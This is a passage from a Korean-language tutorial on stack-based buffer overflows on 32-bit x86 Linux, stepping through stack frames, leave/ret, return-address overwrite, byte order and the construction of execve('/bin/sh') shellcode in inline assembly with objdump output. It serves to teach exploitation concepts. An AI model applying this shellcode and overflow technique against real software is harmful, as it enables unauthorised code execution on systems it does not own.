<Step 6> 이전함수의 base pointer 3 2 1 0x804831a 0xbffffa78 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x8048315 <main+25>: call 0x80482f4 0x8048313 <main+23>: push $0x1 0x8048311 <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x8048305 <main+9>: mov $0x0,%eax 0x8048302 <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp EBP 0xbffffa58 ESP 0xbffffa30 EIP 이렇게만들어진버퍼에는이제우리가필요한데이터를쓸수있게된다. 보통 mov $0x41, [$esp -4] mov $0x42, [$esp-8] 과같은형식으로 ESP를기준으로스텍의특정지점에데이터를복사해넣는방식으로동작한다. simple.c 에는데이터를넣는과정이없으므로스텍이만들어진과정까지만확인하는것으로만족하자. 자그러면이제스텍을한번살펴보자. 스텍은 < 그림 14> 와같은형태를갖게된다. < 그림 14. function() 수행중스텍의모습 > 25
<Step 7> 이전함수의 base pointer 3 2 1 0x804831a EBP 0xbffffa78 ESP 0xbffffa5c 이제 leave instruction을수행했다. leave instruction은함수프롤로그작업을되돌리는일을한다. 위에서본대로함수프롤로그는 push %ebp mov %esp, %ebp 였다. 이것을되돌리는작업은 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x8048315 <main+25>: call 0x80482f4 0x8048313 <main+23>: push $0x1 0x8048311 <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x8048305 <main+9>: mov $0x0,%eax 0x8048302 <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp EIP mov %ebp, %esp pop %ebp 이다. leave instruction 하나가위의두가지일을한꺼번에하는것이다. stack pointer를이전의 base pointer로잡아서 function() 함수에서확장했던스텍공간을없애버리고 PUSH해서저장해두었던이전함수즉, main() 함수의 base pointer를복원시킨다. POP 을했으므로 stack pointer 는 1 word 위로올라갈것이다. 그러면이제 stack pointer 는 return address 가있는지점을가리키고있을것이다. ret instruction은이전함수로 return하라는의미이다. EIP 레지스터에 return address를 POP 하여집어넣는역할을한다. 굳이표현하자면 pop %eip 라고할수있겠지만앞에서설명한대로 EIP 레지스터는직접적으로수정할수없기때문에위와같은명령이먹히지는않지만이런동작을한다고이해하면된다. 26
<Step 8> 이전함수의 base pointer 3 2 1 EBP 0xbffffa78 ESP 0xbffffa60 ret 를 수행하고 나면 return address는 POP되어 EIP에 저장되고 stack pointer는 1 word 위로올라간다. 0x804831f <main+35>: nop 0x804831e <main+34>: ret 0x804831d <main+33>: leave 0x804831a <main+30>: add $0x10,%esp 0x8048315 <main+25>: call 0x80482f4 0x8048313 <main+23>: push $0x1 0x8048311 <main+21>: push $0x2 0x804830f <main+19>: push $0x3 0x804830c <main+16>: sub $0x4,%esp 0x804830a <main+14>: sub %eax,%esp 0x8048305 <main+9>: mov $0x0,%eax 0x8048302 <main+6>: and $0xfffffff0,%esp 0x80482ff <main+3>: sub $0x8,%esp 0x80482fd <main+1>: mov %esp,%ebp 0x80482fc <main>: push %ebp 0x80482fb <function+7>: ret 0x80482fa <function+6>: leave 0x80482f7 <function+3>: sub $0x28,%esp 0x80482f5 <function+1>: mov %esp,%ebp 0x80482f4 <function>: push %ebp 로프로그래머가알아야할필요는없다. EIP add $0x10, %esp 는스텍을 16바이트줄인다. 따라서 stack pointer는 0x804830c 에있는명령을수행하기이전의위치로돌아가게된다. leave ret 를수행하게되면각레지스터들의값은 main() 함수프롤로그작업을되돌리고 main() 함수이전으로돌아가게된다. 이것은아마 init_process() 함수로되돌아가게될것이다. 이함수는운영체제가호출하는함수 27
5. Buffer overflow 의이해 버퍼 (buffer) 란시스템이연산작업을하는데있어필요한데이터를일시적으로메모리상의어디엔가저장하는데그저장공간을말한다. 문자열을처리할것이라면문자열버퍼가되겠고수열이라면숫자형데이터배열이되겠다. 대부분의프로그램에서는바로이러한버퍼를스텍에다생성한다. 스텍은함수내에서선언한지역변수가저장되게되고함수가끝나고나면반환된다. 이것은 malloc() 과같은반영구적 (free() 를해주지않는이상이영역을계속보존된다 ) 인데이터저장공간과는다른것이다. 자그러면이제 buffer overflow가어떤원리로동작하는지살펴보자. 많은 buffer overflow 관련문서에서언급했듯이 buffer overflow는미리준비된버퍼에버퍼의크기보다큰데이터를쓸때발생하게된다. < 그림 14> 에서보는스텍의모습은 40바이트의스텍이준비되어있으나 40바이트보다큰데이터를쓰면버퍼가넘치게되고프로그램은에러를발생시키게된다. 만약 40바이트의데이터를버퍼에쓴다면아무런지장이없을것이다. 하지만 41~44바이트의데이터를쓴다면? 그러면이전함수의 base pointer를수정하게될것이다. 더나아가 45~48바이트를쓴다면 return address가저장되어있는공간을침범하게될것이고 48바이트이상을쓴다면 return address뿐만아니라그이전에스텍에저장되어있던데이터마저도바뀌게될것이다. 여기서시스템에게첫명령어를간접적으로내릴수있는부분은 return address 가있는위치이다. return address는현재함수의 base pointer 바로위에있으므로그위치는변하지않는다. 공격자가 base pointer를직접적으로변경하지않는다면정확히해당위치에있는값이 EIP에들어가게되어있다. 따라서 buffer overflow 공격은공격자가메모리상의임의의위치에다원하는코드를저장시켜놓고 return address가저장되어있는지점에그코드의주소를집어넣음으로해서 EIP에공격자의코드가있는곳의주소가들어가게해공격을하는방법이다. 공격자는버퍼가넘칠때, 즉버퍼에데이터를쓸때원하는코드를넣을수가있다. 물론이때는정확한 return address가저장되는곳을찾아 return address도정확하게조작해줘야한다. 위에서살펴본 < 그림 14> 와 simple.c를다시상기시켜보자. function() 함수내에서정의한 buffer1[15] 와 buffer2[10] 의버퍼가있고여기에는 40바이트의버퍼가할당되어있다. function() 함수내에서는하지않았지만이버퍼에데이터를쓰려한다고생각해보자. 아래와같은코드를예를들어보자. strcpy(buffer2, receive_from_client); 28
이코드는 client로부터수신한데이터를 buffer2와 buffer1에복사한다. 알다시피 strncpy() 과같은함수는몇바이트나저장할지지정해주지만 strcpy함수는길이체크를해주지않기때문에 receive_from_client 안에들어있는데이터에서 NULL(\0) 를만날때까지복사를한다. < 그림 14> 와같은스텍구조에서 45~48바이트위치에있는 return address도조작해줘야하고공격코드도넣어줘야한다. < 그림 15> 와같은구성의공격코드를생각해보자 ( 실제값들은아무런의미가없는임의의값이다 ). < 그림 15. 공격코드구성예 1> 클라이언트인공격자가전송하는데이터는 receive_from_client에저장되어버퍼에복사될것이다. 그데이터가 < 그림 15> 와같이구성하여전송한다고가정하자. 그리고 strcpy가호출되어 receive_from_client가 buffer2에복사가될것을예상하면 < 그림 14> 와 < 그림 15> 를함께보았을때다음과같이매칭될것이다. 29
이전함수의 base pointer main() 이전함수의 base pointer 확장한 stack (12 byte) 3 2 1 0x804831a 0xbffffa78 function() 호출시사용된인자 main() 으로의 return address main() 의 base pointer 확장한 stack (40 byte) ESP 의미없는데이터 (40byte) main() 의 base pointer return address 쉘코드 (24byte) 909090 909090 2E6B0C03 59FFE374 AC357D61 C0E39BCA CEA631F7 C9AD10 CC6A2 < 그림 16. 공격코드가자리잡게될스텍상의위치 > strcpy 가호출되고나면스텍안의데이터는 < 그림 17> 과같이된다. < 그림 17. 공격코드가들어간후의스텍의모습 > 30
< 그림 17> 은 receive_from_client의데이터를버퍼에복사한후의모습이다. 들어가있는데이터들을가만히보면 < 그림 16> 에서만들어낸데이터와순서에있어약간의차이가있음을알수있다. Byte order 데이터가저장되는순서가바뀐이유는바이트정렬방식이다. 현존하는시스템들은두가지의바이트순서 (byte order) 를가지는데이는 big endian 방식과 little endian 방식이있다. big endian 방식은바이트순서가낮은메모리주소에서높은메모리주소로되고 little endian 방식은높은메모리주소에서낮은메모리주소로되어있다. IBM 370 컴퓨터와 RISC 기반의컴퓨터들그리고모토로라의마이크로프로세서는 big endian 방식으로정렬하고그외의일반적인 IBM 호환시스템, 알파칩의시스템들은모두 little endian 방식을사용한다. 예를들어 74E3FF59라는 16진수값을저장한다면 big endian에서는낮은메모리영역부터값을채워나가서 74E3FF59가순서대로저장된다. 반면 little endian에서는 59FFE374 의순서로저장된다. little endian이이렇게저장순서를뒤집어놓는이유는수를더하거나빼는셈을할때낮은메모리주소영역의변화는수의크기변화에서더적기때문이다. 예를들어 74E3FF59에 1을더한다고하면 74E3FF5A가될것이고메모리상에서의변화는 5AFFE374가된다. 즉낮은수의변화는낮은메모리영역에영향을받고높은수의변화는높은메모리영역에자리를잡게하겠다고하는것이 little endian 방식의논리이다. 높은메모리에있는바이트가변하면수의크기는크게변한다는말이다. 하지만한바이트내에서 bit의순서는 big endian 방식으로정렬된다. 참고로네트웍 byte order는 big endian 방식을사용한다. 이러한 byte order의문제때문에공격코드의바이트를정렬할때에는이러한문제점을고려해야한다. 그러므로 little endian 시스템에 return address 값을넣을때는바이트순서를뒤집어서넣어주어야한다. < 그림 17> 에서보는바와같이 return address가변경이되었고실제명령이들어있는코드는그위에있다. 이시점까지는아무런에러를발생하지않을것이다. 하지만함수실행이끝나고 ret instruction을만나면 return address가있는위치의값을 EIP에넣을것이고이제 EIP가가리키는곳의명령을수행하려할것이다. 이때이주소에명령어가들어있지않다면프로그램은오류를발생시키게된다. 또한공격자는자신이만든공격코드를실행하기를원하므로 EIP에 return address 위에있는쉘코드의시작주소를넣고싶어한다. 어떻게하면이주소를알아낼수있을까? 그방법은다음장에서살펴보도록하자. 일단은쉘코드가들어있는지점의정확한주소를찾았다고생각하자. <step 8> 의그림을참고해볼때주소는 0xbffffa60이다. < 그림 17> 을다시그려쉘코드와 return address를 31
묘사해보면 < 그림 18> 과같다. < 그림 18. 스텍에들어있는공격코드 > < 그림 18> 에서보여주는공격코드는 execve( /bin/sh, ) 이다. 즉쉘을띄우는것이다. 실제쉘코드가그림처럼들어가있는것은아니다. 쉘코드를기계어코드로변환하여 1 word 단위로넣어가면서따져보면알수있겠으나 < 그림 18> 은저위치에저런의미의코드가들어있다는개념을표현한것이므로그개념만이해하기바란다. 쉘코드의시작지점은스텍상의 0xbffffa60이다. 따라서함수가리턴될때 return address 는 EIP에들어가게될것이고 EIP는 0xbffffa60에있는명령을수행할것이므로 execve( /bin/sh, ) 를수행하게된다. 이것이바로 buffer overflow를이용한공격방법이다!! 만날수있는문제점한가지 < 그림 18> 에서의공격코드는총 24byte 공간안에들어가있다. 하지만공격코드가 24byte로만들어진다면좋겠지만그렇지못할경우가발생할수있다. 즉 return address 위의버퍼공간이쉘코드를넣을만큼충분하지않다면다른공간을찾아보는수밖에없다. 위의예에서사용할수있는공간은바로 90909090 이들어가있는 function() 함수가사용한스텍공간이다. 이공간은 40byte이고추가로 main() 함수의 base pointer가저장되어있는 4byte까지무려 44byte라는공간이낭비되고있다. 그래서비좁은 24byte의공간이아니라 20byte나더넓은저공간을활용해보도록하자. 그러면문제는 return address 가 EIP에들어간다음에 40byte의스텍공간의명령을수행할수있도록해주어야한다. 물론 return address에다직접 40byte 공간의주소를적어주면좋겠지만위에서언급했듯이해당명령어가있는주소를정확히알아내는것은매우어렵다. 따라서간접적 32
으로그곳으로명령수행지점을변경해주는방법을사용한다. < 그림 19> 는 ESP 값을이용하여명령수행지점을지정해주는방법을보여주고있다. < 그림 19. 또다른공격코드의배치 > < 그림 19> 에서는쉘코드가 return address 아래에있다. 즉 40byte가남아있던그공간이다. return address는똑같다. <Step 7> 을연상해보자. 함수가실행을마치고 return할때 return address가스텍에서 POP되어 EIP에들어가고나면 stack pointer는 1 word 위로이동한다. 따라서 ESP는 return address가있던자리위를가리키게된다. EIP는 0xbffffa60 을가리키고있을테니그곳에있는명령을수행할것이다. < 그림 18> 에서쉘코드가있던그자리에는다음과같은코드가들어갔다. ESP가가리키는지점을쉘코드가있는위치를가리키도록 48byte를빼주고 jmp %esp instruction을수행하여 EIP에 ESP가가리키는지점의주소를넣도록한다. 이과정의명령들을쉘코드로변환했을때단 8byte만있으면충분하다. 다행히도 ESP 레지스터는사용자가직접수정할수있는레지스터이기때문에가능해진다. 위에서는 return address 이후의버퍼공간이부족할경우 return address 이전의버퍼공간을활용하는방법을설명하였다. 하지만만약이공간도부족하다면 return address 부분만을제외한위아래모든공간을활용하도록코딩을할수있을것이고그것도안된다면또다시다른공간을찾는작업을해야한다. 쉘코드만들기 이제쉘코드를만들어보자. 쉘코드란쉘 (shell) 을실행시키는코드이다. 쉘은흔히명령해석기라고불리는데일종의유저인터페이스라고보면된다. 사용자의키보드입력을받아 33
서실행파일을실행시키거나커널에어떠한명령을내릴수있는대화통로이다. 쉘코드는바이너리형태의기계어코드 ( 혹은 opcode) 이다. 우리가쉘코드를만들어야하는이유는실행중인프로세스에게어떠한동작을하도록코드를넣어그실행흐름을조작할것이기때문에역시실행가능한상태의명령어를만들어야하기때문이다. 컴퓨터가 2진수명령어를수행한다는사실은다들알것이다. 만약공격자가기계어코드에능통하다면직접기계어코드를작성해도좋을것이다. 예전에 8bit 퍼스널컴퓨터시절에는기계어코드능통자가참많았다. 당시에는베이직언어와어셈블리언어로프로그래밍을했었는데그와상응하는수준의프로그램을기계어코드로직접작성을했었다. 하지만지금은 CPU instruction의종류가늘어났고커널이복잡해져서아주힘든작업이다. 그래서우리는 C를이용하여간단한프로그램을작성한다음컴파일러가변환시켜준어셈블리코드를최적화시켜쉘코드를생성할것이다. 쉘코드를만들기위해서먼저쉘을실행시키는프로그램을작성한다. 그런다음어셈블리코드를얻어내고불필요한부분을빼고또라이브러리에종속적이지않도록일부수정을해준다음에바이너리형태의데이터를만들어낼것이다. 쉘실행프로그램우리가쉘상에서쉘을실행시키려면 /bin/sh 라는명령을내리면된다. 아주간단하다. 마찬가지로쉘실행프로그램역시이명령을내리는것과똑같은일을하도록해주면된다. 아래의코드를보자. [dalgona@redhat8 bof]$ cat sh.c #include<unistd.h> void main(){ char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, NULL); } [dalgona@redhat8 bof]$ gcc -o sh sh.c sh.c: In function `main': sh.c:2: warning: return type of `main' is not `int' [dalgona@redhat8 bof]$./sh sh-2.05b$ < 그림 20. sh.c> 쉘을실행시키기위해서 execve() 라는함수를사용했다. 이함수는바이너리형태의실행 34
파일이나스크립트파일을실행시키는함수이다. execve() 함수에대한 man 페이지를살펴보면알수있겠지만세개의인자들이모두 const char * 형인자들을요구하고있고첫번째인자는파일이름, 두번째인자는함께넘겨줄인자들의포인터, 세번째인자는환경변수포인터이다. 이러한조건들을만족시켜주기위해서 char *shell[2] 를만들었고각인자들을채워주었다. 두번째인자인인자들의포인터는 C 프로그램의 main() 함수에 argv 라는인자를떠올리면된다. argv[0] 은해당프로그램의실행파일이름을나타내고 argv[1] 은실행시주어진첫번째인자 이런식으로나간다. 마찬가지로 execve() 의두번째인자는 argv[0] 부터들어가는값을가리키는포인터가되어야한다. 이제이프로그램이컴파일되어생성될바이너리코드를얻어야한다. 귀찮게도 execve() 함수때문에이프로그램은컴파일되면서 Linux libc와링크되게된다. execve() 의실제코드는 libc에들어있기때문이다. 따라서 execve() 가어떤일을하는지도알아보기위하여 static library 옵션을주어컴파일해야한다. Dynamic Link Library & Static Link Library 리눅스뿐만아니라윈도우즈, 솔라리스등등대부분의운영체제들이 Dynamic Link Library와 Static Link Library를지원하고또한대부분의컴파일러들이이를지원한다. Dynamic Link Library는우리말로는동적링크라이브러리라고해석되고있다. 응용프로그램의실행에있어서실제프로그램의동작에는매우많은명령들이사용된다. 그리고많은응용프로그램들이공통적으로사용하는명령어들이있다. 예를들어 C언어에서사용하는 printf() 함수는어떤문자열을출력하는함수이다. 이는문자열을받아서특정한위치의값들을채운다음에화면이나표준출력, 소리등의방법으로출력할것이다. 이러한일을수행하는기계어코드가어떤형태로만들어져있을것이다. 가령 ps 라는프로그램도 printf() 함수를사용하여화면에출력할것이다. 또한 cat 이라는프로그램도 printf() 함수를사용할것이다. 그런데 ps 도 printf() 기능의기계어코드를포함하고있고 cat 도 printf() 기능의기계어코드를포함하고있다면같은기능을하는기계어코드가서로다른실행파일에모두포함되어있게되는것이다. 저장공간의낭비가아닐수없다. 그래서운영체제에는이렇게많이사용되는함수들의기계어코드를자신이가지고있고다른프로그램들이이기능을빌려쓰게해준다. 그래서 ps 도 cat 도 printf() 기계어코드를직접가지고있지않고 printf() 코드가필요할때에는운영체제에게이기능을쓰겠다라고해주면그코드를빌려주는것이다. 따라서응용프로그램프로그래머는이기능을직접구현할필요가없고그냥호출만해주면되는것이고컴파일러도직접컴파일할필요없이호출하는기계어코드만생성해주면된다. 이러한기능들은라이브러리라고하는형태로존재하고있으며리눅스에서는 libc라는라이브러리에들어있고실제파일로는.so 혹은.a라는확장자를가진형태로존재한다. 윈도우즈에서는 DLL(Dynamic Link Library) 파일로존재하게된다. 하지만운영체제의버전과 libc의버전에따라호출형태나링크형태가달라질수있기때문에이제영향을받지않기위해서 printf() 기계어코드를실행파일이직접가지고있게할수있는 35
데그방법이 Static Link Library이다. 다만 Dynamic Link Library 방식보다실행파일의크기가당연히커질것이다. 윈도우즈용응용프로그램에서실행파일을실행했는데무슨무슨 DLL 파일을찾을수없다는에러메시지를띄우면서실행하지않는경우를봤을것이다. 이것은 Dynamic Link Library 형태의프로그램인데필요한기계어코드가있는라이브러리를찾지못했다는뜻이다. 또는응용프로그램을설치했는데 DLL 파일을필요로하지않고달랑실행파일하나만있는프로그램의경우는대부분 Static Link Library 형태의프로그램인것이다. 이와같은개념은 < 그림 21> 에서설명하고있다. (a) Dynamic Link Library (b) Static Link Library < 그림 21. Dynamic Link Library & Static Link Library> 그러면이제 sh.c 프로그램에서호출하는 execve() 함수의내부까지들여다보기위해서 Static Link Library 형태로컴파일한후기계어코드를살펴보자. < 그림 22> 처럼하였다. [dalgona@redhat8 bof]$ gcc -v Reading specs from /usr/lib/gcc-lib/i386-hancom-linux/3.2.3/specs Configured with:../configure --prefix=/usr --mandir=/usr/share/man -- infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking -- with-system-zlib --enable- cxa_atexit --host=i386-hancom-linux Thread model: posix gcc version 3.2.3 20030422 (Hancom Linux 3.2.3) [dalgona@redhat8 bof]$ gcc -static -g -o sh sh.c sh.c: In function `main': sh.c:2: warning: return type of `main' is not `int' [dalgona@redhat8 bof]$ objdump -d sh grep \< execve\>: -A 32 36
0804c75c < execve>: 804c75c: 55 push %ebp 804c75d: b8 00 00 00 00 mov $0x0,%eax 804c762: 89 e5 mov %esp,%ebp 804c764: 85 c0 test %eax,%eax 804c766: 57 push %edi 804c767: 53 push %ebx 804c768: 8b 7d 08 mov 0x8(%ebp),%edi 804c76b: 74 05 je 804c772 < execve+0x16> 804c76d: e8 8e 38 fb f7 call 0 <_init-0x80480b4> 804c772: 8b 4d 0c mov 0xc(%ebp),%ecx 804c775: 8b 55 10 mov 0x10(%ebp),%edx 804c778: 53 push %ebx 804c779: 89 fb mov %edi,%ebx 804c77b: b8 0b 00 00 00 mov $0xb,%eax 804c780: cd 80 int $0x80 804c782: 5b pop %ebx 804c783: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804c788: 89 c3 mov %eax,%ebx 804c78a: 77 06 ja 804c792 < execve+0x36> 804c78c: 89 d8 mov %ebx,%eax 804c78e: 5b pop %ebx 804c78f: 5f pop %edi 804c790: c9 leave 804c791: c3 ret 804c792: f7 db neg %ebx 804c794: e8 93 bc ff ff call 804842c < errno_location> 804c799: 89 18 mov %ebx,(%eax) 804c79b: bb ff ff ff ff mov $0xffffffff,%ebx 804c7a0: eb ea jmp 804c78c < execve+0x30> 804c7a2: 90 nop 804c7a3: 90 nop [dalgona@redhat8 bof]$ < 그림 22. sh.c 의 static link library 컴파일및 object dump> 37
sh.c를 static link library(-static) 로컴파일하여 sh라는실행파일을만들었다. 그리고 objdump를이용하여기계어코드를출력하게하였다. objdump로 sh를덤프하면엄청긴내용이나온다. 따라서필요한부분 execve() 함수부분만보기위해서 grep을하였고 execve() 부분을보니 32라인이면다보이기때문에 A 32 옵션을주어 32라인만출력하게하였다. 덤프된코드는세개의 column으로출력되는데맨왼쪽은 address를나타내고가운데는기계어코드, 맨오른쪽은기계어코드에대응하는어셈블리코드를나타낸다. 참고로기계어코드는어셈블리코드와 1:1 대응이된다. execve() 함수내에서보면함수프롤로그를하고함수호출이전에스텍에쌓인인자값들을검사하고이상이없으면인터럽트를발생시켜시스템콜 (system call) 을한다. 시스템콜은운영체제와약속된행동을해달라고요청하는것이다. 다른부분은별상관이없으므로 < 그림 22> 에굵게표시한부분만보도록하자. execve() 함수는인터럽트를발생시키기이전에범용레지스터에각인자들을집어넣어줘야한다. 그래서 804c768: 8b 7d 08 mov 0x8(%ebp),%edi 804c76b: 74 05 je 804c772 < execve+0x16> 804c76d: e8 8e 38 fb f7 call 0 <_init-0x80480b4> 804c772: 8b 4d 0c mov 0xc(%ebp),%ecx 804c775: 8b 55 10 mov 0x10(%ebp),%edx 804c778: 53 push %ebx 804c779: 89 fb mov %edi,%ebx 이러한작업을하는데조금흩어져있긴하지만정리해서보면 mov 0x8(%ebp),%ebx mov 0xc(%ebp),%ecx mov 0x10(%ebp),%edx 를하는것이다. 이것은 ebp 레지시터가가리키는곳의 +8 byte 지점의값을 ebx 레지스터에넣고, +12 byte 지점의값을 ecx 레지스터에넣고, +16 byte 지점의값을 edx 레지스터에넣어라는뜻이다. < 그림 22> 를보면 ebp는함수프롤로그에의해서 execve() 가호출되고이전함수의 base pointer를 PUSH하고난다음의 esp가가리키던곳을가리키고있다. 따라서 ebp + 0 byte 지점은이전함수의 ebp(base pointer) 가들어가있을것이다. 그리고 ebp+4 byte 지점은 return address가들어가있을것이고, ebp + 8, ebp + 12, ebp + 16 지점은 execve() 함수가호출되기이전함수에서 execve() 함수의인자들이역순으로 PUSH되어들어갔을것이다. 이것이잘이해되지않는다면앞에서했던 <step 3, 4, 5> 과정을다시한 38
번살펴보기바란다. 그런다음 804c77b: b8 0b 00 00 00 mov $0xb,%eax 804c780: cd 80 int $0x80 eax 레지스터에 11을넣고 int $0x80을하였다. 이과정이 system call 과정이다. int $0x80은운영체제에할당된인터럽트영역으로 system call을하라는뜻이다. int $0x80을호출하기이전에 eax 레지스터에시스템콜벡터 (vector) 를지정해줘야하는데 execve() 에해당하는값이 11(0xb) 인것이다. 정리해서다시말하면 11번시스템콜을호출하기위해각범용레지스터에값들을채우고시스템콜을위한인터럽트를발생시킨것이다. 참고로 32bit Intel Architecture에서의인터럽트및 Exception는 < 그림 23> 에표현하였다. < 그림 23. Exceptions and Interrupts> < 그림 23> 에서볼수있듯이인터럽트 0x80 은 Maskable Interrupts 로써 External 39
interrupt 영역에있음을알수있다. 그러면이제 execve() 를호출하기이전에 main() 에서는어떤처리를했었는지알아보자. [dalgona@redhat8 bof]$ objdump -d sh grep \<main\>: -A 18 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 28 97 08 08 movl $0x8089728,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 5d 45 00 00 call 804c75c < execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret [dalgona@redhat8 bof]$ < 그림 24. sh 의 main() 을 dump 한모습 > main() 함수에서는 execve() 를호출하기위해서세번의 push를한다. 이는 execve() 의인 자로넘겨주는값이라는것을짐작할수있을것이다. 80481e0: c7 45 f8 28 97 08 08 movl $0x8089728,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 40
80481fa: e8 5d 45 00 00 call 804c75c < execve> 제일처음 /bin/sh 라는문자열이들어있는곳의주소 (0x8089728) 를 ebp 레지스터가가 리키는곳의 -8 byte 지점 (0xfffffff8) 에넣는다. 그리고 ebp - 4byte 지점 (0xfffffffc) 에는 0 을넣는다. 이것은 sh.c에서 shell[0] = "/bin/sh"; shell[1] = NULL; 와같은역할을한다. 그리고이제이값들을 PUSH하기시작한다. push $0x0 NULL을 PUSH하고 lea 0xfffffff8(%ebp),%eax push %eax ebp+8의주소를 eax 레지스터에넣은다음에 eax 레지스터를 PUSH한다. 포인터를 PUSH 한것이다. pushl 0xfffffff8(%ebp) call 804c75c < execve> ebp+8의값을 PUSH하고 execve() 를호출한다. 이상의수행을마치고나면 segment 내의모습은 < 그림 25> 와같게된다. < 그림 25. execve() 를호출하기전 segment의모습 > < 그림 25> 를보자. 어떤가? shell 변수는 char * 형의배열이름이다. 따라서 shell 자체는 41
char * 들이위치한곳을가리키고있을것이다. < 그림 25> 의 ebp-4와 ebp-8이바로포인터들이모여있는곳이다. shell[0] 은 /bin/sh 라는문자열이있는곳의주소를가지고있다. /bin/sh 는정의된값이므로 data segment에위치할것이다. 그곳어딘가의주소가 0x8089728이라고 objdump를하여알수있었다. main() 함수에서각값들을 PUSH하여스텍에는 /bin/sh 가있는주소, shell의주소, 그리고 0이들어가있다. 그러면이제쉘을띄우기위한과정이명확해졌다. 1. 스텍에 execve() 를실행하기위한인자들을제대로배치하고 2. NULL과인자값의포인터를스텍에넣어두고 3. 범용레지스터에이값들의위치를지정해준다음에 4. interrupt 0x80을호출하여 system call 12를호출하게하면된다. 위의코드에서는 /bin/sh 가 data segment에저장되어있기때문에 data segment의주소를이용할수있었지만 buffer overflow 공격시점에서는 /bin/sh 가어느지점에저장되어있다는것을기대하기도어렵고또한있다고하더라도저장되어있는메모리공간의주소를찾기도어렵다. 따라서직접넣어주어야할것이다. 이제이와같은역할을하는코드를작성해보자. push $0x0 // NULL을넣어준다 push /sh\0 // /sh\0 문자열의끝을의미하는 \0 push /bin // /bin 문자열. 위와합쳐서 /bin/sh\0가된다. mov %esp,%ebx // 현재스텍포인터는 /bin/sh\0를넣은지점이다. push $0x0 // NULL을 PUSH push %ebx // /bin/sh\0의포인터를 PUSH mov %esp,%ecx // esp 레지스터는 /bin/sh\0의포인터의포인터다 mov $0x0,%edx // edx 레지스터에 NULL을넣어줌 mov $0xb,%eax // system call vector를 12번으로지정. eax에넣는다 int $0x80 // system call을호출하라는 interrupt 발생 이러한코드를만들어내면될것이다. push /sh\0 와 push /bin 은실제어셈블리코드가아니다. 그냥개념적으로적은것이다. 이를실제어셈블리코드로만들려면 push $0x0068732f push $0x6e69622f 으로해줘야한다. 문자를 16진수값으로바꾼것이다. 물론 little endian 순서이다. 자이제이코드가제대로동작하는지컴파일해보도록하자. 이코드는 C 프로그램내 42
에인라인어셈블 (inline assemble) 로코딩할것이고 main() 함수안에들어갈것이기때문에함수프롤로그가필요없다. 컴파일러가알아서함수프롤로그를만들어줄것이기때문이다. /bin/sh 를 16진수형태로바꾸고 main() 함수안에넣어서작성한 sh01.c 의코드는아래와같다. [dalgona@redhat8 bof]$ cat sh01.c void main(){ asm volatile ( "push $0x0 \n\t" "push $0x0068732f \n\t" "push $0x6e69622f \n\t" "mov %esp,%ebx \n\t" "push $0x0 \n\t" "push %ebx \n\t" "mov %esp,%ecx \n\t" "mov $0x0,%edx \n\t" "mov $0xb,%eax \n\t" "int $0x80 \n\t" ); } [dalgona@redhat8 bof]$ gcc -o sh01 sh01.c sh01.c: In function `main': sh01.c:1: warning: return type of `main' is not `int' [dalgona@redhat8 bof]$./sh01 sh-2.05b$ exit exit [dalgona@redhat8 bof]$ objdump -d sh01 grep \<main\>: -A 20 08048308 <main>: 8048308: 55 push %ebp 8048309: 89 e5 mov %esp,%ebp 804830b: 83 ec 08 sub $0x8,%esp 804830e: 83 e4 f0 and $0xfffffff0,%esp 8048311: b8 00 00 00 00 mov $0x0,%eax 8048316: 29 c4 sub %eax,%esp 8048318: 6a 00 push $0x0 43
